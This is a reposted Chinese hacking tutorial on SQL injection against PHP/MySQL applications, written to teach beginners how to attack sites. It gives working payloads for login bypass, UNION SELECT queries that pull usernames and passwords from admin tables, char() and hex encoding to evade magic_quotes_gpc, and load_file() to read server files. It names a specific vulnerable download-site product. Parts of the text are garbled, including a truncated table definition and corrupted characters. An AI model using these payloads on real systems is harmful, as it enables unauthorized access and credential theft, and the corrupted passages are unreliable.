php注入详解
本文主要是為小菜們服務(wù)的,如果你已經(jīng)是一只老鳥呢,可能某些東西會(huì)感覺(jué)比較乏味,但只要你仔細(xì)的看,你會(huì)發(fā)現(xiàn)很多有趣的東西哦。
閱讀此文你只要明白下面的這點(diǎn)東西就夠了。
1.明白php+mysql環(huán)境是如何搭建的,在光盤中我們收錄搭建的相關(guān)文章,如果您對(duì)搭建php+mysql環(huán)境不是很清楚,請(qǐng)先查閱此文,在上一期的專題中也有所介紹。
2.大概了解php和apache的配置,主要用到php.ini和httpd.conf
而此文我們主要用到的是php.ini的配置。為了安全起見我們一般都打開php.ini里的安全模式,即讓safe_mode = On,還有一個(gè)就是返回php執(zhí)行錯(cuò)誤的display_errors 這會(huì)返回很多有用的信息,所以我們應(yīng)該關(guān)閉之,
即讓display_errors=off??關(guān)閉錯(cuò)誤顯示后,php函數(shù)執(zhí)行錯(cuò)誤的信息將不會(huì)再顯示給用戶。
在php的配置文件php.ini中還有一個(gè)非常重要的配置選項(xiàng)magic_quotes_gpc,高版本的默認(rèn)都是magic_quotes_gpc=On,只有在原來(lái)的古董級(jí)的php中的
默認(rèn)配置是magic_quotes_gpc=Off,可是古董的東西也有人用的哦!
當(dāng)php.ini中magic_quotes_gpc=On的時(shí)候會(huì)有什么情況發(fā)生哩,不用驚慌,天是塌不下來(lái)的啦!它只是把提交的變量中所有的 ' (單引號(hào)), " (雙引號(hào)), \ (反斜線) 和 空字符會(huì)自動(dòng)轉(zhuǎn)為含有反斜線的轉(zhuǎn)義字符,例如把'變成了\',把\變成了\\。
就是這一點(diǎn),讓我們很不爽哦,很多時(shí)候我們對(duì)字符型的就只好說(shuō)BYEBYE了,
但是不用氣餒,我們還是會(huì)有好方法來(lái)對(duì)付它的,往下看咯!
3.有一定的php語(yǔ)言基礎(chǔ)和了解一些sql語(yǔ)句,這些都很簡(jiǎn)單,我們用到的東西很少,所以充電還來(lái)的及哦!
我們先來(lái)看看magic_quotes_gpc=Off的時(shí)候我們能干些啥,然后我們?cè)傧朕k法搞一搞magic_quotes_gpc=On的情況哈
一:magic_quotes_gpc=Off時(shí)的注入
ref="http://hackbase.com/hacker" target=_blank>攻擊
magic_quotes_gpc=Off的情況雖然說(shuō)很不安全,新版本默認(rèn)也讓
magic_quotes_gpc=On了,可是在很多服務(wù)器中我們還發(fā)現(xiàn)magic_quotes_gpc=Off的情況,例如www.qichi.*。
還有某些程序像vbb論壇就算你配置magic_quotes_gpc=On,它也會(huì)自動(dòng)消除轉(zhuǎn)義字符讓我們有機(jī)可乘,所以說(shuō)
magic_quotes_gpc=Off的注入方式還是大有市場(chǎng)的。
下面我們將從語(yǔ)法,注入點(diǎn) and 注入類型幾個(gè)方面來(lái)詳細(xì)講解mysql+php注入
A:從MYSQL語(yǔ)法方面先
??1。先講一些mysql的基本語(yǔ)法,算是給沒(méi)有好好學(xué)習(xí)的孩子補(bǔ)課了哦~_~
??????1)select
????SELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT]
????select_expression,...
????[INTO {OUTFILE | DUMPFILE} 'file_name' export_options]
????[FROM table_references
????????[WHERE where_definition]
????????[GROUP BY col_name,...]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] ,...]
;???]
常用的就是這些,select_expression指想要檢索的列,后面我們可以用where來(lái)限制條件,我們也可以用into outfile將select結(jié)果輸出到文件中。當(dāng)然我們也可以用select直接輸出
例如
mysql> select 'a';
+---+
| a |
+---+
| a |
+---+
1 row in set (0.00 sec)
具體內(nèi)容請(qǐng)看mysql中文手冊(cè)7.12節(jié)
下面說(shuō)一些利用啦
看代碼先
這段代碼是用來(lái)搜索的哦
.........
SELECT * FROM users WHERE username LIKE ‘%$search%' ORDER BY username
.......
?>
這里我們順便說(shuō)一下mysql中的通配符,'%'就是通配符,其它的通配符還有'*'和'_',其中" * "用來(lái)匹配字段名,而" % "用來(lái)匹配字段值,注意的是%必須與like一起適用,還有一個(gè)通配符,就是下劃線" _ ",它代表的意思和上面不同,是用來(lái)匹配任何單個(gè)的字符的。在上面的代碼中我們用到了'*'表示返回的所有字段名,%$search%表示所有包含$search字符的內(nèi)容。
我們?nèi)绾巫⑷肓?#xff1f;
哈哈,和asp里很相似
在表單里提交
Aabb%' or 1=1 order by id#
注:#在mysql中表示注釋的意思,即讓后面的sql語(yǔ)句不執(zhí)行,后面將講到。
或許有人會(huì)問(wèn)為什么要用or 1=1呢,看下面,
把提交的內(nèi)容帶入到sql語(yǔ)句中成為
SELECT * FROM users WHERE username LIKE ‘%aabb%' or 1=1 order by id# ORDER BY username
假如沒(méi)有含有aabb的用戶名,那么or 1=1使返回值仍為真,使能返回所有值
我們還可以這樣
在表單里提交
%' order by id#
或者
' order by id#
帶入sql語(yǔ)句中成了
SELECT * FROM users WHERE username LIKE ‘% %' order by id# ORDER BY username
和
SELECT * FROM users WHERE username LIKE ‘%%' order by id# ORDER BY username
當(dāng)然了,內(nèi)容全部返回。
列出所有用戶了喲,沒(méi)準(zhǔn)連密碼都出來(lái)哩。
這里就舉個(gè)例子先,下面會(huì)有更精妙的select語(yǔ)句出現(xiàn),select實(shí)際上幾乎是無(wú)處不在的哦!
2)下面看update咯
Mysql中文手冊(cè)里這么解釋的:
UPDATE [LOW_PRIORITY] tbl_name SET col_name1=expr1,col_name2=expr2,...
????????[WHERE where_definition]
UPDATE用新值更新現(xiàn)存表中行的列,SET子句指出哪個(gè)列要修改和他們應(yīng)該被給定的值,WHERE子句,如果給出,指定哪個(gè)行應(yīng)該被更新,否則所有行被更新。
詳細(xì)內(nèi)容去看mysql中文手冊(cè)7.17節(jié)啦,在這里詳細(xì)介紹的話會(huì)很羅嗦的哦。
由上可知update主要用于數(shù)據(jù)的更新,例如文章的修改,用戶資料的修改,我們似乎更關(guān)心后者,因?yàn)?.....
看代碼先哦
我們先給出表的結(jié)構(gòu),這樣大家看的明白
CREATE TABLE users (
id int(10) NOT NULL auto
我們構(gòu)建注入語(yǔ)句吧
在輸入框輸入
a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from
alphaauthor#放到sql語(yǔ)句中成了
select * from alphadb where title like %a% and 1=2 union select
1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %
結(jié)果如圖17哦
怎么樣,出來(lái)了吧,哈哈,一切盡在掌握之中。
C:下面我們從注入地點(diǎn)上在來(lái)看一下各種注入攻擊方式
1)??? 首先來(lái)看看后臺(tái)登陸哦
代碼先
//login.php
.......
$query="select * from alphaauthor where UserName= "
.$HTTP_POST_VARS["UserName"]." and
Password= ". $HTTP_POST_VARS["Password"]." ";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo "后臺(tái)登陸成功";
}
esle
{
echo "重新登陸";
exit;
}
.........
?>
Username和password沒(méi)有經(jīng)過(guò)任何處理直接放到sql中執(zhí)行了。
看看我們?cè)趺蠢@過(guò)呢?
最經(jīng)典的還是那個(gè):
在用戶名和密碼框里都輸入
‘or =
帶入sql語(yǔ)句中成了
select * from alphaauthor where UserName= or = and Password= or =
這樣帶入得到的$data肯定為真,也就是我們成功登陸了。
還有其他的繞過(guò)方法,原理是一樣的,就是想辦法讓$data返回是真就可以了。
我們可以用下面的這些中方法哦
1.
用戶名和密碼都輸入 or a = a
Sql成了
select * from alphaauthor where UserName= or a = a and Password=
or a = a
2.
用戶名和密碼都輸入 or 1=1 and ‘ =
Sql成了
select * from alphaauthor where UserName= or 1=1 and ‘ =
and Password= or 1=1 and ‘ =
用戶名和密碼都輸入 or 2>1 and ‘ =
Sql成了
select * from alphaauthor where UserName= or 2>1 and ‘ =
and Password= or 2>1 and ‘ =
3.
用戶名輸入 or 1=1 # 密碼隨便輸入
Sql成了
select * from alphaauthor where UserName= or 1=1 # and
Password= anything
后面部分被注釋掉了,當(dāng)然返回還是真哦。
??????? 4.
假設(shè)admin的id=1的話你也可以
用戶名輸入 or id=1 # 密碼隨便輸入
Sql成了
select * from alphaauthor where UserName= or id=1 # and Password= anything
如圖18
看看效果圖19
怎么樣?直接登陸了哦!
俗話說(shuō)的好,只有想不到?jīng)]有做不到。
還有更多的構(gòu)造方法等著課后自己想啦。
2)第二個(gè)常用注入的地方應(yīng)該算是前臺(tái)資料顯示的地方了。
上面已經(jīng)多次提到了呀,而且涉及了數(shù)字型,字符型等等,這里就不再重復(fù)了哈。
只是舉個(gè)例子回顧一下
碧海潮聲下載站 - v2.0.3 lite有注入漏洞,代碼就不再列出來(lái)了
直接看結(jié)果
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%
201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%
20dl_users
如圖20
看看,我們又得到我們想要的了
用戶名alpha
密碼一長(zhǎng)串。
為什么我們要把password放在3字段處,把username放在5字段處了,我們上面已經(jīng)提過(guò)了哦,就是我們猜測(cè)3和5段顯示的應(yīng)該是字符串型,而與我們要顯示的username和password的字段類型應(yīng)該相同,所以我們這樣放了哦。
為什么要用18個(gè)字段呢?不知道大家還是否記得在union select介紹那里我們提到union必須要求前后select的字段數(shù)相同,我們可以通過(guò)增加select的個(gè)數(shù)來(lái)猜測(cè)到需要18個(gè)字段,只有這樣union select的內(nèi)容才會(huì)正常顯示哦!
3)其它如資料修改,用戶注冊(cè)的地方主要得有用戶等級(jí)的應(yīng)用。
我們?cè)谏厦嬷v述update和insert的時(shí)候都已經(jīng)講到,因?yàn)椴皇呛艹S?#xff0c;這里就不再闡述,在下面將會(huì)提到一些關(guān)于update和insert的高級(jí)利用技巧。
二:下面將要進(jìn)入magic_quotes_gpc=On時(shí)候的注入攻擊教學(xué)環(huán)節(jié)了
??? 當(dāng)magic_quotes_gpc=On的時(shí)候,交的變量中所有的 (單引號(hào)),
" (雙引號(hào)), \ (反斜線) 和 空字符會(huì)自動(dòng)轉(zhuǎn)為含有反斜線的轉(zhuǎn)義字符。
??? 這就使字符型注入的方法化為泡影,這時(shí)候我們就只能注入數(shù)字型且沒(méi)有
Intval()處理的情況了,數(shù)字型的我們已經(jīng)講了很多了是吧,由于數(shù)字型沒(méi)有用到單引號(hào)自然就沒(méi)有繞過(guò)的問(wèn)題了,對(duì)于這種情況我們直接注入就可以了。
1)假如是字符型的就必須得像下面這個(gè)樣子,沒(méi)有在字符上加引號(hào) 。
????
這里我們要用到一些字符串處理函數(shù)先,
字符串處理函數(shù)有很多,這里我們主要講下面的幾個(gè),具體可以參照mysql中文參考手冊(cè)7.4.10。
????
??? char() 將參數(shù)解釋為整數(shù)并且返回由這些整數(shù)的ASCII代碼字符組成的一個(gè)字符串。
當(dāng)然你也可以用字符的16進(jìn)制來(lái)代替字符,這樣也可以的,方法就是在16進(jìn)制前面加0x,看下面的例子就明白了。
??????? //login.php
??? ......
$query="select * from ".$art_system_db_table[ user ]."
where UserName=$username and Password= ".$Pw." ";
......
?>
假設(shè)我們知道后臺(tái)的用戶名是alpha
轉(zhuǎn)化成ASCII后是char(97,108,112,104,97)
轉(zhuǎn)化成16進(jìn)制是0x616C706861
(我們將在光盤中提供16進(jìn)制和ascii轉(zhuǎn)換工具)
好了直接在瀏覽器里輸入:
http://localhost/site/admin/login.php?username=char(97,108,112,104,97)%23
sql語(yǔ)句變成:
select * from alphaAut
hor where UserName=char(97,108,112,104,97)# and Password=
如圖21
??? 正如我們期望的那樣,他順利執(zhí)行了,我們得到我們想要的。
??? 當(dāng)然咯,我們也可以這樣構(gòu)造
http://localhost/site/admin/login.php?username=0x616C706861%23
sql語(yǔ)句變成:
select * from alphaAuthor where UserName=0x616C706861%23# and Password=
我們?cè)僖淮问浅晒φ吡恕:苡谐删透邪?#xff0c;
或許你會(huì)問(wèn)我們是否可以把#也放在char()里
實(shí)際上char(97,108,112,104,97)相當(dāng)于 alpha
注意是alpha上加引號(hào),表示alpha字符串。
我們知道在mysql中如果執(zhí)行
mysql> select * from dl_users where username=alpha;
ERROR 1054 (42S22): Unknown column alpha in where clause
看返回錯(cuò)誤了。因?yàn)樗麜?huì)認(rèn)為alpha是一個(gè)變量。所以我們得在alpha上加引號(hào)。
如下
mysql> select * from dl_users where username= alpha ;
這樣才是正確的。
如果你把#號(hào)也放到那里去了,就成了 alpha#
帶入sql語(yǔ)句中
select * from dl_users where username= alpha# ;
當(dāng)然是什么也沒(méi)有了,因?yàn)檫Balpha#這個(gè)用戶都沒(méi)有。
好,下面我們?cè)賮?lái)看個(gè)例子,
??? //display.php
??? ......
$query="select * from ".$art_system_db_table[ article ]."
where type=$type;
......
?>
代碼根據(jù)類型來(lái)顯示內(nèi)容,$type沒(méi)有任何過(guò)濾,且沒(méi)有加引號(hào)放入程序中。
假設(shè)type中含有xiaohua類,xiaohua的char()轉(zhuǎn)換后是
char(120,105,97,111,104,117,97)
我們構(gòu)建
http://localhost/display.php?type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
帶入sql語(yǔ)句中為:
select * from ".$art_system_db_table[ article ]."
where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
看看,我們的用戶名和密碼照樣出來(lái)了哦!沒(méi)有截圖,想像一下咯:P
2)??? 或許有人會(huì)問(wèn),在magic_quotes_gpc=On的情況下功能強(qiáng)大的load_file()還能不能用呢?
這正是我們下面要將的問(wèn)題了,load_file()的使用格式是load_file(‘文件路徑 )
我們發(fā)現(xiàn)只要把‘文件路徑 轉(zhuǎn)化成char()就可以了。試試看哦
load_file(‘c:/boot.ini )轉(zhuǎn)化成
load_file(char(99,58,47,98,111,111,116,46,105,110,105))
圖22
??? 放到具體注入里就是
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%
201,2,load_file(char
(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,
17,18
看圖23
??? 看看,我們看到了boot.ini的內(nèi)容了哦。
很可惜的是into outfile 不能繞過(guò),不然就更爽了。但是還是有一個(gè)地方可以使用select * from table into outfile 那就是....(先賣個(gè)關(guān)子,下面會(huì)告訴你)
轉(zhuǎn)載于:https://www.cnblogs.com/secbook/archive/2012/03/02/2654892.html
創(chuàng)作挑戰(zhàn)賽新人創(chuàng)作獎(jiǎng)勵(lì)來(lái)咯,堅(jiān)持創(chuàng)作打卡瓜分現(xiàn)金大獎(jiǎng)總結(jié)
- 上一篇: git的安装与使用(一)--window
- 下一篇: BPM与Workflow的区别